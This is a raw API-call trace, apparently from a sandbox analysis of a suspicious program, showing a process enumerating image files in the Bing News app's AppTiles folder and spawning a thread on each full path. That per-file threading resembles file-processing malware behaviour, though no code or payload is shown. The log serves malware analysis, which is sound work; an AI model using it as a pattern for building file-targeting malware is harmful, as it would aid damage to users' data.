	[0089.823] wcscat (in: _Dest=0x2e44600, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.823] wcscat (in: _Dest=0x2e44600, _Source="contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0089.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e44600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f14
	[0089.824] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1
	[0089.824] wcscmp (_String1="News_LogoSmall.scale-100.png", _String2=".") returned 1
	[0089.824] wcscmp (_String1="News_LogoSmall.scale-100.png", _String2="..") returned 1
	[0089.824] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x477a360
	[0089.824] wcscpy (in: _Dest=0x477a360, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.824] wcscat (in: _Dest=0x477a360, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.824] wcscat (in: _Dest=0x477a360, _Source="News_LogoSmall.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.scale-100.png"
	[0089.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477a360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f18
	[0089.825] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x80, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_LogoSmall.targetsize-16.png", cAlternateFileName="")) returned 1
	[0089.825] wcscmp (_String1="News_LogoSmall.targetsize-16.png", _String2=".") returned 1
	[0089.825] wcscmp (_String1="News_LogoSmall.targetsize-16.png", _String2="..") returned 1
	[0089.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481d9f0
	[0089.825] wcscpy (in: _Dest=0x481d9f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.825] wcscat (in: _Dest=0x481d9f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.825] wcscat (in: _Dest=0x481d9f0, _Source="News_LogoSmall.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-16.png"
	[0089.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481d9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f1c
	[0089.826] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_LogoSmall.targetsize-24.png", cAlternateFileName="")) returned 1
	[0089.826] wcscmp (_String1="News_LogoSmall.targetsize-24.png", _String2=".") returned 1
	[0089.826] wcscmp (_String1="News_LogoSmall.targetsize-24.png", _String2="..") returned 1
	[0089.826] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481d7e0
	[0089.826] wcscpy (in: _Dest=0x481d7e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.826] wcscat (in: _Dest=0x481d7e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.826] wcscat (in: _Dest=0x481d7e0, _Source="News_LogoSmall.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-24.png"
	[0089.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481d7e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f20
	[0089.827] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x386, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_LogoSmall.targetsize-256.png", cAlternateFileName="")) returned 1
	[0089.827] wcscmp (_String1="News_LogoSmall.targetsize-256.png", _String2=".") returned 1
	[0089.827] wcscmp (_String1="News_LogoSmall.targetsize-256.png", _String2="..") returned 1
	[0089.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x481c658
	[0089.827] wcscpy (in: _Dest=0x481c658, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.827] wcscat (in: _Dest=0x481c658, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.827] wcscat (in: _Dest=0x481c658, _Source="News_LogoSmall.targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-256.png"
	[0089.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481c658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f24
	[0089.827] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_LogoSmall.targetsize-32.png", cAlternateFileName="")) returned 1
	[0089.827] wcscmp (_String1="News_LogoSmall.targetsize-32.png", _String2=".") returned 1
	[0089.827] wcscmp (_String1="News_LogoSmall.targetsize-32.png", _String2="..") returned 1
	[0089.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481c760
	[0089.827] wcscpy (in: _Dest=0x481c760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.828] wcscat (in: _Dest=0x481c760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.828] wcscat (in: _Dest=0x481c760, _Source="News_LogoSmall.targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-32.png"
	[0089.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481c760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f28
	[0089.828] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_LogoSmall.targetsize-48.png", cAlternateFileName="")) returned 1
	[0089.828] wcscmp (_String1="News_LogoSmall.targetsize-48.png", _String2=".") returned 1
	[0089.828] wcscmp (_String1="News_LogoSmall.targetsize-48.png", _String2="..") returned 1
	[0089.828] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481ce98
	[0089.828] wcscpy (in: _Dest=0x481ce98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.828] wcscat (in: _Dest=0x481ce98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.828] wcscat (in: _Dest=0x481ce98, _Source="News_LogoSmall.targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_LogoSmall.targetsize-48.png"
	[0089.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481ce98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f2c
	[0089.829] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_SplashScreen.scale-100.png", cAlternateFileName="")) returned 1
	[0089.829] wcscmp (_String1="News_SplashScreen.scale-100.png", _String2=".") returned 1
	[0089.829] wcscmp (_String1="News_SplashScreen.scale-100.png", _String2="..") returned 1
	[0089.829] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481cd90
	[0089.829] wcscpy (in: _Dest=0x481cd90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.829] wcscat (in: _Dest=0x481cd90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.829] wcscat (in: _Dest=0x481cd90, _Source="News_SplashScreen.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_SplashScreen.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_SplashScreen.scale-100.png"
	[0089.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481cd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f30
	[0089.830] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x355, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_TileLargeSquare.scale-100.png", cAlternateFileName="")) returned 1
	[0089.830] wcscmp (_String1="News_TileLargeSquare.scale-100.png", _String2=".") returned 1
	[0089.830] wcscmp (_String1="News_TileLargeSquare.scale-100.png", _String2="..") returned 1
	[0089.830] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x481dc00
	[0089.830] wcscpy (in: _Dest=0x481dc00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.830] wcscat (in: _Dest=0x481dc00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.830] wcscat (in: _Dest=0x481dc00, _Source="News_TileLargeSquare.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileLargeSquare.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileLargeSquare.scale-100.png"
	[0089.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481dc00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f34
	[0089.831] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x167, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_TileMediumSquare.scale-100.png", cAlternateFileName="")) returned 1
	[0089.831] wcscmp (_String1="News_TileMediumSquare.scale-100.png", _String2=".") returned 1
	[0089.831] wcscmp (_String1="News_TileMediumSquare.scale-100.png", _String2="..") returned 1
	[0089.831] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x500d278
	[0089.831] wcscpy (in: _Dest=0x500d278, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.831] wcscat (in: _Dest=0x500d278, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.831] wcscat (in: _Dest=0x500d278, _Source="News_TileMediumSquare.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileMediumSquare.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileMediumSquare.scale-100.png"
	[0089.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500d278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f38
	[0089.831] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_TileSmallSquare.scale-100.png", cAlternateFileName="")) returned 1
	[0089.831] wcscmp (_String1="News_TileSmallSquare.scale-100.png", _String2=".") returned 1
	[0089.831] wcscmp (_String1="News_TileSmallSquare.scale-100.png", _String2="..") returned 1
	[0089.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x481dd08
	[0089.832] wcscpy (in: _Dest=0x481dd08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.832] wcscat (in: _Dest=0x481dd08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.832] wcscat (in: _Dest=0x481dd08, _Source="News_TileSmallSquare.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileSmallSquare.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileSmallSquare.scale-100.png"
	[0089.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481dd08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f3c
	[0089.832] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="News_TileWide.scale-100.png", cAlternateFileName="")) returned 1
	[0089.832] wcscmp (_String1="News_TileWide.scale-100.png", _String2=".") returned 1
	[0089.832] wcscmp (_String1="News_TileWide.scale-100.png", _String2="..") returned 1
	[0089.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4777c60
	[0089.832] wcscpy (in: _Dest=0x4777c60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.832] wcscat (in: _Dest=0x4777c60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.833] wcscat (in: _Dest=0x4777c60, _Source="News_TileWide.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileWide.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\News_TileWide.scale-100.png"
	[0089.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f40
	[0089.833] FindNextFileW (in: hFindFile=0x2daca78, lpFindFileData=0x4f24058 | out: lpFindFileData=0x4f24058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ed6f5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704ed6f5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704ed6f5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.png", cAlternateFileName="")) returned 1
	[0089.833] wcscmp (_String1="StoreLogo.png", _String2=".") returned 1
	[0089.833] wcscmp (_String1="StoreLogo.png", _String2="..") returned 1
	[0089.833] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x2e44980
	[0089.833] wcscpy (in: _Dest=0x2e44980, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.833] wcscat (in: _Dest=0x2e44980, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
